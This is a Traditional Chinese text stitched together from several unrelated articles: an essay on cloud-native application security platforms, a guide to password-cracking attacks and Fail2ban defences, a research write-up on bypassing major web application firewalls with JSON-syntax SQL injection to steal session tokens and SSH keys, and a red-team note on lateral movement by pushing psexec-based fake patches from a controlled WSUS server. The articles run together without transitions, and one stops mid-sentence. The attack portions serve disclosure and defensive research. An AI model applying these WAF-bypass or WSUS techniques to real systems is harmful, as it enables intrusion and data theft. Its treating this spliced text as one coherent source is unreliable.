共享用戶:如果不同的工具是為不同的主要用戶設計的,那麼它們幾乎不需要成為單個平台的一部分,因為它們無論如何都會單獨使用。

共享工作流:如果以類似的方式使用多個工具並集成到用戶工作流的類似點中,則可以通過組合它們來節省集成時間以及用戶的時間和精力,而無需使用多個單獨的工具。

共享優先級:如果來自不同工具的行動項應彼此優先排序,則共享積壓工作可以提高效率和結果。

價值倍增:最後,工具共享平台的最強驅動力是當工具一起使用可以增強每個工具的價值。這個標準自然解釋了為什麼像SAST和SCA這樣的技術非常適合單一平台。兩者都為相同的開發人員用戶提供服務,運行掃描並在相同的位置吸引用戶,並共享同一開發人員需要優先考慮的安全漏洞的積壓。在高級SCA解決方案中,SAST技術可以指示你的自定義代碼是否調用庫中易受攻擊的代碼,從而提供更高的準確性,從而增加價值。

當你考慮將容器和IaC安全性添加到SAST和SCA的同一平台時,相同的邏輯也適用:共享用戶:容器和IaC現在由開發人員保護,就像SAST和SCA一樣,他們寧願沒有多個不同的產品需要花時間學習和參與。

共享工作流:保護容器和IaC需要跨生命週期的集成,例如IDE、Git和構建集成,就像SAST和SCA一樣。

共享優先級:同一個開發人員需要花費周期來修復容器或IaC漏洞,或者代碼或庫中的漏洞——所有這些都是保護應用的積壓工作。

價值倍增:保護這些組件有多種方式。掃描容器需要探索內部的應用程序,了解基礎設施配置有助於確定代碼和庫的漏洞優先級,了解跨組件的流程有助於緩解問題;這正是你在對漏洞進行分類時所做的。

即使CNAS範圍擴大,這種邏輯仍然有效,我鼓勵你將CNAS工具視為一個平台。一個簡單的準則是,Git存儲庫中的任何內容都可能與其周圍的文件相關,並遵循相同的開發工作流。因此,CNAS平台應有助於保護存儲庫中的所有內容(整個雲原生應用)。

DAST和IAST在這樣一個平台上是有點尷尬的參與者。儘管它們處理保護應用程序,但它們通常需要不同的工作流程。由於運行它們所花費的時間,很難將它們放入構建管道或IDE掃描中。在我看來,這是一個技術問題,而不是一個合乎邏輯的問題,一旦IAST和DAST解決方案發展到對管道更加友好,它有望得到解決。

治理和賦權方法採用開發優先的安全方法需要不同類型的協作。我們需要的工具不是專注於廣播和執行自上而下的任務,而是幫助我們協作構建安全應用程序的工具。

這聽起來可能很明顯,但在實踐中,這與許多安全工具的工作方式有很大的不同。讓我們深入研究一些具體的例子,以了解這意味著什麼。

首先,開發人員需要有能力平衡業務需求與安全風險。這意味著,例如,允許他們決定不修復發現的漏洞並繼續將其部署到生產環境。對某些人來說,這是一個可怕的命題,但這是實現獨立團隊的唯一方法。請注意,忽略漏洞仍應要求提供(且可審核)原因,並且某些約束應為硬槓槓(通常出於合規性原因),但作為默認立場,決策應留給開發人員。

其次,開發人員需要能夠管理他們的安全風險,這需要看到他們項目中的所有漏洞。這不僅需要包括漏洞列表,還需要包括確定優先級所需的所有信息,例如可利用性和資產映射。對此類信息保持透明可能會帶來一些風險,但這是擴展安全性的唯一方法;要賦予開發人員權力,你必須信任他們提供這些敏感數據。

第三,安全團隊應該投資於跟踪和推動安全控制的採用,甚至超過他們的產出。開發團隊應該管理其漏洞積壓工作,但安全團隊需要幫助他們成功做到這一點。開發優先安全治理意味著跟踪採用了哪些控件及其輸出的處理情況,並與開發團隊合作改進這些統計信息,而不是突出顯示他們應該修復的漏洞。

這些只是評估治理工具和技術時要考慮的幾個示例。關鍵是要擁抱平台心態;它的目標是幫助開發團隊成功構建安全軟件,而不是跟踪安全漏洞本身。

重新思考優先事項最後但並非最不重要的一點是,CNAS需要重新考慮應用程序安全優先級。如果開發人員需要保護整個雲原生應用程序,你希望他們最關注哪些方面?

從歷史上看,IT安全控制主導了更大的預算,並且比應用程序安全控制獲得了更多CISO的關注。這種不平衡可能有歷史原因,但歸根結底,它代表了CISO關於如何最好地使用他們的資金來降低組織風險的觀點。

換句話說,CISO認為,由於未修補的服務器或配置錯誤的基礎架構而導致的違規風險大於代碼中的自定義漏洞的風險。這種看法有相當多的數據來支持它,顯示了歷史違規行為及其原因。此外,它很容易理解;對於攻擊者來說,大規模運行已知的漏洞並尋找一扇敞開的門要比對應用程序進行逆向工程並找到自定義缺陷以使其通過要容易得多。

云不會減少這個等式;事實上,雲加強了這個等式。採用雲意味著使用更多的基礎設施和更多的服務器,它們往往更容易公開訪問,並且它們由不太熟悉管理它們的團隊(開發人員)定義,並配備了不太成熟的工具。

然而,雖然以前的平衡是在IT安全預算和應用程序安全預算之間,但現在一切都在應用程序安全世界中。在構建雲原生應用程序時,相同的開發人員需要保護其自定義代碼,管理其開源使用中的漏洞,並使服務器和基礎架構具有彈性。同一個應用程序安全團隊需要幫助他們做到這一點,並在他們之間分配相同的預算。

因此,我們回到開場白:你希望如何分配寶貴的開發人員的時間和有限的CNAS預算?

丟掉開發人員自己的設備和應用程序安全預算並讓開發人員的注意力集中在保護自定義代碼上。應用程序安全成熟度模型、行業最佳實踐以及團隊中個人的個人體驗都錨定在雲前的世界中,其中自定義代碼是開發人員必須保護的大部分內容。購買SAST和DAST等工具通常是應用程序安全新領導者名單上的第一件事,很少受到挑戰。

但是,考慮到CNAS的範圍,這仍然是你時間和金錢的最佳利用嗎?由於已知漏洞或配置錯誤而導致的違規風險仍然高於自定義代碼缺陷的風險,即使開發人員是配置它的人。如果你同意,難道不應該告訴你的開發人員和應用程序安全團隊首先要專注於保護這些層,然後才能處理他們的自定義代碼嗎?

這不是一個容易回答的問題。我不會假設知道你的優先事項應該是什麼,因為這些優先事項會因組織而異。但是,鑑於CNAS的範圍更廣,我強烈建議你在內部進行此對話並重新考慮你的優先事項。

結論改變你處理應用程序安全性的方式不僅僅是一種思考練習。它具有非常真實的下游影響,包括人們的職業生涯,預算分配以及對保持組織安全的最佳方式的重新評估。它需要擺脫一些關於你過去如何做事的肌肉記憶,而不是在選擇解決方案時回到第一原則,這需要寶貴的時間和精力。

好消息是,你不必一次完成所有操作。我在本文中概述的變化相互關聯,但可以按照自己的節奏應用。我建議你選擇與你最相關的那些內容,或者選擇你認為更重要的其他變化,並讓這些變化繼續下去。你將逐步調整安全功能以適應云原生現實。

惡意行為者通常以用戶和管理員憑據為目標,因為他們希望使用它們來訪問敏感數據。據Verizon 稱,在2021 年受到社會工程攻擊的數據中,憑證佔高達85%。為了竊取用戶憑證,黑客可以使用惡意軟件或各種密碼破解方法。

薄弱的密碼策略和缺乏防止密碼破解的保護是導致帳戶洩露的兩個最常見的漏洞。

在本文中,我們討論了密碼破解的危險並提供了減少惡意身份驗證嘗試的最佳實踐。我們還探討了Fail2ban 服務如何幫助您保護對用戶帳戶的訪問,並提供有關如何配置Fail2ban 的分步指南,以及分享我們在Viber 聊天機器人中配置Fail2ban 通知的經驗。

本文將幫助Web 產品所有者和軟件開發團隊識別並消除其Linux 服務器的漏洞。

什麼是密碼破解?要訪問Web 應用程序,用戶需要在系統內創建配置文件。為此,用戶通常會創建一個登錄名和密碼作為用於保護帳戶訪問的憑據。根據申請類型,他們可能還必須提供其他數據,如個人信息、消息和銀行賬戶。所有這些數據對威脅行為者都很有價值,他們可以嘗試使用各種密碼竊取方法從不同的應用程序訪問用戶配置文件。

在開發Web 應用程序時,必須牢記密碼被盜的風險並實施強大的安全機制來減輕這些風險。否則,如果攻擊者設法訪問用戶帳戶並暴露個人信息,Web 應用程序提供商可能會面臨客戶流失和聲譽受損等後果。如果用戶決定將案件告上法庭,他們也可能承擔經濟損失。

image.png

密碼破解的後果

竊取用戶數據的一種方法是破解密碼。

這種方法的主要目標是猜測應用程序或計算機服務的密碼。該技術本身不一定是惡意的,它可以作為一種目標漏洞驗證技術用於安全測試。

密碼破解是從存儲在計算機系統中或通過網絡傳輸的密碼哈希中恢復密碼的過程。它通常在評估期間執行,以識別密碼較弱的帳戶。

在應用密碼破解技術時,黑客通常會使用特殊的應用程序和工具,這些應用程序和工具會應用多個憑據變體,直到找到正確的一對。密碼破解應用程序用於猜測密碼的每秒憑據數取決於攻擊者計算機的性能。此外,猜測用戶密碼所需的時間取決於密碼強度。

密碼破解方法有多種:image.png

密碼破解攻擊的類型

字典攻擊是一種通過系統地輸入字典中的每個單詞作為密碼來訪問IT 資源的方法。黑客經常使用破解詞典,其中存儲了常用的密碼和熟悉的單詞,例如不同語言的名稱和地點。此類詞典還可能包括黑客收集和添加的先前被盜的用戶憑證。字典攻擊是一種快速猜測弱口令的方法,但對於不常見的強口令,它們通常不會成功。

蠻力攻擊是一種直接的試錯法,它著重於生成所有可能的密碼,達到一定長度。黑客檢查所有密碼組合,包括所有字母、數字和特殊符號的組合,從可能的最小密碼長度開始。可能組合的數量取決於密碼的長度。理論上,這種破解方法的成功率是100%。這只是時間問題,因為短密碼可以在幾分鐘內猜出,而非常長且複雜的密碼可能需要數十年才能破解。

彩虹襲擊。大多數應用程序使用哈希加密用戶密碼,並以加密形式存儲它們。黑客使用存儲預先計算的密碼哈希值的彩虹表來破解數據庫中的密碼哈希值。

網絡釣魚。通過網絡釣魚,攻擊者誘使用戶單擊電子郵件附件或URL 鏈接,引導他們登錄到虛假版本的Web 應用程序並洩露他們的密碼。

反向蠻力。惡意行為者使用針對多個用戶名的通用密碼來訪問帳戶。

憑據填充。如果黑客知道受感染帳戶的用戶名和密碼,他們可以嘗試在該用戶可能擁有帳戶的多個系統中使用此組合。據Security eMagazine報導,53% 的人承認對不同的帳戶使用相同的密碼。

希望攻擊者無法破解您的Web 應用程序用戶的密碼不是一種選擇。因此,讓我們探討如何保護用戶數據免遭密碼破解,並減輕帳戶洩露帶來的網絡安全風險。

保護Web 應用程序免遭密碼破解的7 種方法為保護您產品的用戶帳戶不被洩露,您需要實施綜合方法。下面,我們將討論緩解密碼破解的七種最必要的網絡安全實踐。

image.png

保護Web 應用程序免遭密碼破解的7 種方法

1. 出台嚴格的密碼管理政策密碼越複雜,黑客破解它們的難度就越大。確保您的開發人員配置您的應用程序的密碼規則,以防止用戶創建弱憑據。

創建密碼規則列表時,請考慮研究頂級技術組織推薦和使用的內容。例如,您可以查看NIST 特別出版物800-63-3 數字身份指南中的密碼策略建議,並了解Microsoft 365和IBM Security Privileged Identity Manager等可靠產品推薦的密碼安全性。

密碼策略的常見最佳做法包括:

密碼應包含特殊符號、數字以及大小寫字母。

最小密碼長度應為八個符號。越長越好。

密碼應在指定的時間段內到期並更改:每月一次、每三個月一次、每年兩次等。

您的應用程序應具有密碼歷史記錄,以便當用戶更改密碼時,它可以根據所有以前的密碼檢查新密碼。只有當新密碼實際上是新的時,才應批准新密碼。

2.更改管理帳戶名稱避免使用明顯的管理帳戶用戶名,例如“administrator”、“admin”或“root”。此類用戶名很可能成為威脅行為者發起密碼破解攻擊的首要目標。

3.啟用多重身份驗證使用多重身份驗證(MFA) 保護用戶對您的應用程序的訪問。此類身份驗證工具使用戶在登錄應用程序之前執行兩個或更多步驟。

第一步通常需要傳統的登錄名和密碼。在以下步驟中,可能會要求用戶從短信中輸入安全代碼、使用令牌、提供指紋等。

即使威脅行為者成功猜出憑據,MFA 也將成為訪問用戶帳戶的另一個障礙。

4.建立用戶活動監控考慮將用戶活動監控解決方案作為Web 應用程序安全性的一部分。此類解決方案收集有關您基礎設施內所有用戶活動的信息,因此如果出現可能是密碼破解攻擊跡象的異常用戶行為,您可以發現它。

用戶監控解決方案通常與人工智能驅動的訪問控制工具等複雜軟件一起使用,這些軟件可以分析收集到的用戶活動數據、檢測異常情況,並阻止可疑的登錄嘗試或通知安全工程師潛在威脅。

例如,此類解決方案可以保存設備詳細信息和用戶機器的IP 地址。如果有人試圖從不同的IP 地址或設備登錄,訪問控制工具可以應用其他MFA 方法或限制訪問。

5. 將對服務器的遠程訪問限制為受信任的IP您的管理員和工程師帳戶也可能遭受密碼破解攻擊。因此,請確保僅為受信任的IP 地址啟用對服務器的遠程訪問。

例如,您可以為需要在日常工作中訪問服務器的工程師提供IP 地址的訪問權限。為此,您可以使用防火牆(如果您使用雲提供商服務,則可以使用安全組)。

6.為工程師啟用安全密鑰需要遠程訪問服務器的工程師應該生成安全密鑰。例如,這些可以是用於SSH 訪問的SSH 密鑰。這樣,管理員可以安全地遠程連接到服務器或其他機器,而無需使用登錄名和密碼。 SSH 密鑰身份驗證可保護對服務器的訪問並加密客戶端和服務器之間傳輸的流量。

另一種無密碼訪問服務器的方法是使用硬件安全密鑰,如FIDO2或Google Titan。這些是可以用來代替常見身份驗證方法的USB 設備。

在這種情況下,應禁用使用登錄名和密碼訪問服務器。應該只允許鑰匙持有者進入。如果密碼不存在,則無法破解。

7.使用密碼破解保護服務最後但並非最不重要的一點是,有一些專門用於保護服務免遭密碼破解的工具。

通常,此類工具會自動掃描登錄嘗試並阻止顯示惡意跡象的IP 地址,例如密碼失敗次數過多。這些工具中最受歡迎的是:

SSH衛士

IPBan Pro

間諜日誌

Fail2ban

在Apriorit,我們更喜歡使用Fail2ban,因為它使用起來很方便,並且可以有效地阻止潛在的惡意身份驗證嘗試。在下一章中,讓我們了解Fail2ban,並討論如何在實踐中配置和使用它。

JSON 語法自2012 年開始作為新特性被各類SQL 數據庫支持,目前所有主流數據庫都已支持JSON 語法,但目前的主流WAF並沒有做相應跟進,從而可以被繞過。

Team82開發了一種通用的繞過行業領先的web應用程序防火牆(WAF)的方法。 攻擊技術包括將JSON語法附加到WAF無法解析的SQL注入有效負載。

主要的WAF供應商在他們的產品中缺乏JSON支持,儘管大多數數據庫引擎已經支持了十年。 大多數WAF可以很容易地檢測到SQLi攻擊,但是將JSON前置SQL語法使WAF無法檢測到這些攻擊。

使用這種技術的攻擊者將能夠繞過WAF的保護,並使用其他漏洞來竊取數據。

簡介Web應用防火牆(WAF)旨在保護基於Web的應用程序和API免受惡意外部HTTPs流量的影響,尤其是跨站腳本和SQL注入攻擊,這些攻擊危險似乎還未解除。

WAF的引入在很大程度上是為了應對這些編碼錯誤。 WAF現在是保護存儲在數據庫中的組織信息的關鍵防線,這些信息可以通過web應用程序訪問。 WAF也越來越多地用於保護基於雲的管理平台,這些管理平台監督連接的嵌入式設備,如路由器和接入點。

能夠繞過WAF的流量掃描和攔截功能的攻擊者通常可以直接訪問敏感的業務和客戶信息。值得慶幸的是,這樣的繞過並不常見,而且針對特定供應商的實現是一次性的。

目前,Team82引入了一種攻擊技術,它是業界領先供應商銷售的多個web應用程序防火牆的第一個通用繞過。該繞過適用於五個主要供應商銷售的WAF: Palo Alto, F5, Amazon Web Services, Cloudflare和Imperva。目前,所有受影響的供應商都承認Team82的披露,並實施了修復,將JSON語法支持添加到其產品的SQL檢查過程中。

Team82的技術首先依賴於理解WAF如何識別和標記惡意SQL語法,然後找到WAF看不到的SQL語法。這是JSON。 JSON是一種標準的文件和數據交換格式,通常用於將數據從服務器發送到web應用程序。

在SQL數據庫中引入JSON支持可以追溯到大約10年前。現在的數據庫引擎默認支持JSON語法、基本搜索和修改,以及一系列JSON函數和操作符。雖然JSON支持是數據庫引擎的標準,但WAF卻並非如此。供應商在添加JSON支持方面一直進展緩慢,這使得Team82能夠創建新的SQL注入有效負載,其中包括繞過WAF提供的安全性的JSON。

使用這種新技術的攻擊者可以訪問後端數據庫,並使用額外的漏洞,通過直接訪問服務器或通過雲竊取信息。

這對於已經轉向基於雲的管理和監控系統的運行和物聯網平台尤為重要。 WAF提供了來自云的額外安全性的承諾,能夠繞過這些保護的攻擊者可以廣泛地訪問系統。

Team82在去年開發了這項技術,當時他們正在對Cambium Networks的無線設備管理平台進行不相關的研究,包括其內部或云端銷售的cnMaestro無線網絡管理器。

1.png

Cambium Networks無線接入點

2.png

Cambium的cnMaestro雲架構允許用戶從雲端遠程配置和控制他們的AP Wi-Fi設備

為了了解平台是如何構建的,以及它的許多內部API和路由,Team82從Cambium的網站下載了cnMaestro內部部署的開放虛擬化格式虛擬機。

Team82了解到cnMaestro是由許多不同的NodeJS後端服務構建的,這些服務處理用戶對特定路由的請求。這些服務都有輕微的混淆,使得研究平台變得困難。為了將每個請求代理到正確的服務,Nginx被用來通過所請求的URL來傳遞請求。

cnMaestro提供了兩種不同的部署類型:

本地部署:創建一個由用戶託管和管理的專用cnMaestro服務器。

雲部署:位於Cambium Networks雲基礎設施上的cnMaestro服務器,cnMaestro的所有此類實例都以多租戶架構託管在Cambium組織下的Amazon AWS雲上。

雲部署託管在亞馬遜AWS上的cnMaestro雲部署包括一個cnMaestro的主要實例(託管在https://cloud.cambiumnetworks.com上),它處理登錄、設備部署,並將大部分平台數據保存在主數據庫中。

任何註冊到cnMaestro Cloud應用程序的用戶都會獲得一個個人Amazon AWS實例,其中包含個人URL (Cambium主雲的子域)和組織標識符。這有助於在多租戶設計中分離不同的用戶。為了訪問你的cnMaestro實例,將按照以下方案生成一個唯一的URL:https://us-e1-sXX-XXXXXXXXXX.cloud.cambiumnetworks.com

在Team82對Cambium cnMaestro的研究結束時,他們發現了7個不同的漏洞,可以在這里和Team82的披露儀表板上看到。然而,一個特別的漏洞讓Team82陷入了一個巨大的兔子洞,導致Team82發現並開發了這項新技術。

很難利用的零日漏洞Team82發現的一個特殊的Cambium漏洞被證明更難利用:CVE-2022-1361。該漏洞的核心是一個簡單的SQL注入漏洞,但實際的開發過程需要Team82跳出思維定式,創建一個全新的SQL技術。利用這個漏洞,Team82能夠竊取用戶的會話、SSH密鑰、密碼哈希、令牌和驗證碼。

此漏洞的核心問題是,在這種特殊情況下,開發人員沒有使用準備好的語句將用戶提供的數據附加到查詢中。他們沒有使用將用戶參數附加到SQL查詢並清除輸入的安全方法,而是直接將其附加到查詢中。

3.png

Team82在CVE-2022-1361中濫用的SQL注入匯點

正如我們在上面的匯點中看到的,應用程序接受用戶提供的數據(在本例中為a.serialNo或a.mac),並將其附加到SQL查詢中。我們使用此漏洞的目的是過濾存儲在數據庫中的敏感數據。然而,雖然這看起來很簡單,但在快速分析了該漏洞後,我們意識到它有三個關鍵漏洞/限制:

Team82只能檢索作為返回行的整數;

返回的行按隨機順序返回;

在每個請求中,Team82只能返回有限數量的行。

讓我們深入分析這些限制。

限制1:Team82只能檢索整數第一個限制只返回整數,而不返回字符串。由於原始請求返回整數,我們將使用的任何联合語句也必須返回整數。在SQL中,如果執行聯合操作,則必須確保兩列的類型相同,並且由於一方獲取整數,因此我們也必須返回整數。由於我們要過濾的數據很可能是字符串(會話令牌、SSH密鑰等),因此我們必須以某種方式獲得過濾字符串的能力。

通過將想要過濾的任何字符串轉換為整數數組,並將每個字符作為單獨的行返回,可以輕鬆克服這一限制。為此,Team82使用了stringarray和ASCIISQL函數。

4.1.png

4.2.png

一個SQL查詢,返回字符串作為其字符的整數列表

限制2:返回的行按隨機順序返回第二個限制是,當Team82返回多行時,web服務器將以隨機順序返回給Team82。當Team82查看漏洞後執行的代碼時,Team82看到對於SQL查詢返回的每一行,服務器將執行一些其他異步操作(這可以通過調用async.parale函數看到)。這意味著返回行的原始順序將不會被保留,相反,該順序將是異步操作完成的順序。

這意味著,如果Team82將字符串作為整數數組進行過濾,就會丟失字符順序,從而使過濾變得無關緊要。

Team82通過添加行索引來克服這一限制,行索引使用row_number SQL函數將字符串中字符的索引轉換為返回的整數。因為Team82只返回ASCII字符,所以每個字符的值被限制為128。通過將索引號乘以1000 (i * 1000)並將其附加到結果中,Team82總是可以通過簡單的除法和模塊操作來確定字符索引。

5.1.png

5.2.png

一個SQL有效負載,返回字符串中每個字母的ascii值,加上字符的索引乘以1000

在檢索到過濾的數據之後,Team82可以簡單地將每個返回行除以1000,以了解字符索引。 Team82還可以通過對返回值使用模塊操作來恢復原始字符ASCII值。

限制3:在每個請求中只能返回有限數量的行最後一個限制是最難克服的:超時問題。對於返回的每一行,服務器都執行了一些其他操作,包括另一個SQL查詢和數據操作。當我們試圖檢索大量行時,請求超時。更糟糕的是,API端點相當慢,因此每次檢索一行非常耗時。

Team82的解決方案實際上非常高級,Team82不是為每個字符返回一行,而是從許多行中構造一個整數。這是可能的,因為整數和字符之間的字節大小不同。在PostgreSQL中,一個整數是4字節長,而Team82試圖過濾的字符是1字節長(只要是ascii字符)。這意味著通過執行簡單的字節操作,Team82可以在每個整數中容納四個不同的字符。此外,如果Team82在union命令中將整數轉換為BIGINT,這在PostgreSQL中是可能做到的,Team82可以將每行擴展為8字節。

6.png

PostgreSQL類型大小

這意味著,如果要為Team82過濾的每個字符附加8個字節,並將其附加到BIGINT中,Team82可以在每個請求中過濾7倍多的字符(1個字節保留給字符索引)。

7.1.png

7.2.png

一個SQL查詢,它接受一個字符串,並每隔幾個字符創建一個BIGINT

使用這種方法,Team82能夠在每個請求中提取多達8倍的數據。這減少了Team82竊取大量數據所需的時間,並使攻擊場景變得可信。

構建有效負載在Team82繞過所有三個限制之後,Team82就得到了一個大的有效負載,允許提取任何Team82選擇的數據:

8.png

事實上,當Team82使用這個有效負載時,Team82設法竊取了存儲在數據庫中的敏感信息,從會話cookie到令牌,SSH密鑰和哈希密碼。

9.png

使用SQLi有效負載提取的數據示例

雲端漏洞在成功利用了雲部署漏洞後,下一步是在Cambium的雲端嘗試相同的漏洞。很快,Team82就找到了相應的雲路由,並成功確認它也容易受到同樣的漏洞的攻擊。然後Team82嘗試了一個安全版本的有效負載,並收到了這樣的響應。

10.png

對SQL注入漏洞的響應,可以看到Team82的請求被釋放了,返回一個403 Forbidden

接下來,我們注意到了包含awselb/2.0的HTTP服務器,這意味著,應用程序並沒有停止Team82的請求,而是AWS WAF釋放了Team82的請求,因為它可能將其標記為惡意請求。

對AWS WAF的研究為了研究AWS WAF,我們首先創建了自己的設置,在其中控制所有的活動部件:應用程序、客戶端和WAF設置和日誌。我們在AWS雲上創建了一個簡單的設備,並設置了AWS WAF來保護應用程序免受惡意請求(Team82設置了WAF)。

11.png

用於配置WAF規則集的界面

然後,Team82創建了一個帶有SQLi漏洞的web應用程序,並將其託管在AWS上。

12.png

Team82創建的易受攻擊的Flask web應用程序

最後,Team82開始發送數百個自定義的請求,試圖分析WAF是如何將請求標記為惡意的。

13.png

被WAF標記為惡意的請求被阻止,在這個請求中,Team82傳遞一個通用的SQLi有效負載,它由WAF標記

WAF通常有兩種方法將請求標記為惡意:

搜索黑名單單詞:WAF可以搜索它並將其識別為SQL語法的單詞,如果請求中存在太多匹配項,它會將該請求標記為惡意SQLi嘗試。

從請求中解析SQL語法:WAF可以嘗試使用請求的不同部分解析有效的SQL語法,如果WAF成功識別SQL語法,它將標記該請求為惡意SQLi嘗試。

雖然大多數WAF除了使用WAF特有的方法外,還會使用這兩種方法的組合,但它們都有一個共同的漏洞:它們需要WAF識別SQL語法。這引發了Team82的興趣:如果Team82能夠找到WAF無法識別的SQL語法,該怎麼辦?

SQL JSON目前,JSON已經成為數據存儲和傳輸的主要形式之一。為了支持JSON語法,並允許開發人員以類似於在其他應用程序中與數據交互的方式與數據交互,SQL中需要JSON支持。

目前,所有主要的關係數據庫引擎都支持原生JSON語法,這包括MSSQL, PostgreSQL, SQLite和MySQL。此外,在最新版本中,所有數據庫引擎默認啟用JSON語法,這意味著它在今天的大多數數據庫設置中很普遍。

開發人員選擇在SQL數據庫中使用JSON特性,原因有很多,首先是更好的性能和效率。由於許多後端已經使用JSON數據,因此在SQL引擎本身執行所有數據操作和轉換可以減少所需的數據庫調用數量。此外,如果數據庫可以使用JSON數據格式(後端API很可能也會使用JSON數據格式),那麼所需的數據預處理和後處理就會更少,從而允許應用程序立即使用它。

通過在SQL中使用JSON,應用程序可以在SQL API中獲取數據、從數據庫中組合多個數據源、執行數據修改並將其轉換為JSON格式。然後,應用程序可以接收json格式的數據並立即使用它,而不需要處理數據。

14.png

在SQL中使用JSON的數據流,允許開發人員在SQL中使用JSON API更好地與數據交互

雖然每個數據庫都選擇了不同的實現和JSON解析器,但每個數據庫都支持不同範圍的JSON函數和操作符。此外,它們都支持JSON數據類型和基本的JSON搜索和修改。

15.png

對每個主要數據庫的JSON支持級別

然而,儘管所有的數據庫引擎都增加了對JSON的支持,但並不是所有的安全工具都增加了對這個“新”特性的支持。安全工具中缺乏支持可能會導致安全工具(在Team82的例子中是WAF)和實際數據庫引擎之間的原語解析不匹配,並導致SQL語法錯誤識別。

The New ‘ or ‘a’=’a

使用JSON語法,可以創建新的SQLi有效負載。由於這些有效負載不為人所知,它們可以繞過許多安全工具。使用來自不同數據庫引擎的語法,Team82能夠在SQL中編譯以下真實語句列表:

16.png

使用JSON語法

從Team82對WAF如何將請求標記為惡意的理解中,可以得出結論,Team82需要找到WAF無法理解的SQL語法。如果Team82可以提供一個SQLi有效負載,WAF不會將其識別為有效SQL,但數據庫引擎會解析它,Team82實際上就可以實現繞過。

事實證明,JSON正是WAF解析器和數據庫引擎之間的這種不匹配。當Team82傳遞使用不太流行的JSON語法的有效SQL語句時,WAF實際上並沒有將請求標記為惡意請求。

17.png

下面是一個惡意的SQLi有效負載,包含JSON語法。正如Team82所看到的,WAF並沒有將該請求標記為惡意請求,也沒有釋放它

這個簡單的JSON運算符,在本例中是@,它檢查右邊的JSON是否包含在上面左邊的JSON中,它將WAF放入一個循環中,並允許Team82提供惡意的SQLi有效負載,從而允許Team82繞過WAF。通過簡單地在請求的開頭預先添加簡單的JSON語法,Team82就能夠在雲上使用SQLi漏洞竊取敏感信息!

18.png

利用雲上的SQL注入漏洞

常見的WAF繞過上述繞過的核心問題是數據庫引擎和SQLi檢測解決方案之間缺乏一致性,這是因為SQL中的JSON並不是一個流行和廣為人知的特性,而且它的語法沒有添加到WAF解析器中。

然而,Team82認為這個問題可能不僅僅與這個WAF供應商有關,可能其他供應商也沒有添加對JSON語法的支持。所以Team82採用了易受攻擊的web應用程序,並在大多數主要WAF供應商上創建了一個設置。幾天后,Team82發現JSON語法可以繞過他們檢查過的大多數供應商:

Palo-Alto下一代防火牆

F5 Big-IP

Amazon AWS ELB

Cloudflare

Imperva

19.png

Team82使用JSON語法繞過的WAF供應商和產品列表

Team82成功地繞過了這麼多大型WAF產品,如果Team82的有效負載有任何變化,這意味著Team82有一個通用的WAF繞過。這意味著即使不知道Team82和目標之間的WAF是什麼,Team82仍然可以利用SQL注入漏洞,繞過WAF的保護。

自動化流程為了研究這種WAF繞過的危害有多大,Team82決定在最大的開源開

0x00 前言在內網滲透中,當我們獲得了WSUS服務器的控制權限後,可以通過推送補丁的方式進行橫向移動。這個利用方法最早公開在BlackHat USA 2015。本文將要整理這個利用方法的相關資料,結合思路,得出行為檢測的方法。

0x01 簡介本文將要介紹以下內容:

環境搭建

利用思路

實現工具

行為檢測

0x02 環境搭建本節介紹WSUS服務器搭建的過程,通過配置客戶端實現補丁的推送

參考資料:

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd939822(v=ws.10)

1.WSUS服務器搭建WSUS服務器需要安裝在Windows Server操作系統

(1)安裝

在添加角色和功能頁面,選擇Windows Server Update Services

需要指定補丁更新包的存放路徑,這裡可以設置為C:\WSUS

(2)配置

打開Windows Server Update Services進行配置

配置時選擇默認選項即可,在選擇Download update information from Microsoft Update時,點擊Start Connecting,如果報錯提示An HTTP error has occurred,經過我的多次測試,可以採用以下方法解決:

關閉當前頁面

進入Windows Server Update Services,選擇synchronization,點擊synchronization Now,等待同步完成,如下圖

1.png選擇Options,選擇WSUS Server Configuration Wizard,重新進入配置頁面,連接成功,如下圖

2.png配置完成後需要創建計算機組,如下圖

3.png

當同步完成後,會提示下載了多少個補丁,如下圖

4.png選擇Updates頁面,可以查看已下載的補丁,Unapproved表示未安裝的補丁,安裝後的補丁可以選擇Approved進行查看,如下圖

5.png選中一個補丁,點擊Approve.彈出的對話框可以針對指定計算機組安裝補丁,如下圖

6.png2.客戶端配置客戶端只要是Windows系統即可,需要通過組策略配置

依次選擇Computer Configuration-Administrative Templates-Windows Components-Windows Update,選擇Configure Automatic Updates,設置成Auto download and notify for install,選擇Specify intranet Microsoft update service location,設置更新服務器地址為http://192.168.1.182:8530

注:

需要指定端口8530

對於域環境,配置組策略後需要等待一段時間,這是因為組策略每90分鐘在後台更新一次,隨機偏移量為0-30分鐘,如果想立即生效,可以輸入命令:gpupdate /force

對於工作組環境,配置組策略可以立即生效

當客戶端開始補丁更新時,WSUS服務器會獲得客戶端的信息,並顯示在Computers頁面

組策略配置的操作等同於創建註冊表,具體信息如下:

(1)組策略配置自動更新後會創建註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU

查詢命令:REG QUERY 'HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU'

返回結果示例:

7.png其中AUOptions對應組策略配置中的Configure automatic updating,2代表Notify for download and notify for install,3代表Auto download and notify for install,4代表Auto download and schedule the install,5代表Allow local admin to choose setting

(2)組策略配置服務器地址後會創建註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate

查詢命令:REG QUERY 'HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate'

返回結果示例:

8.png3.推送補丁在WSUS服務器的Windows Server Update Services頁面,選擇指定補丁,右鍵點擊Approve.在彈出的對話框中選擇計算機組即可

等待客戶端到達補丁更新時間,即可完成補丁的推送

0x03 利用思路如果我們能夠生成一個帶有Payload的補丁,就能夠通過補丁進行橫向移動,但是在利用上需要注意補丁文件的簽名問題:Windows的補丁文件需要帶有微軟的簽名

通常的利用方法是使用帶有微軟簽名的程序,例如psexec,通過psexec執行命令或者添加一個管理員用戶

0x04 實現工具開源的工具有以下三個:

https://github.com/nettitude/SharpWSUS

https://github.com/AlsidOfficial/WSUSpendu

https://github.com/ThunderGunExpress/Thunder_Woosus

以上三個工具的實現原理基本相同,都是創建一個調用psexec執行命令的補丁,將補丁推送至指定計算機,等待目標計算機更新補丁

創建補丁的操作需要連接SQL數據庫,依次實現以下操作:

ImportUpdate

PrepareXMLtoClient

InjectURL2Download

DeploymentRevision

PrepareBundle

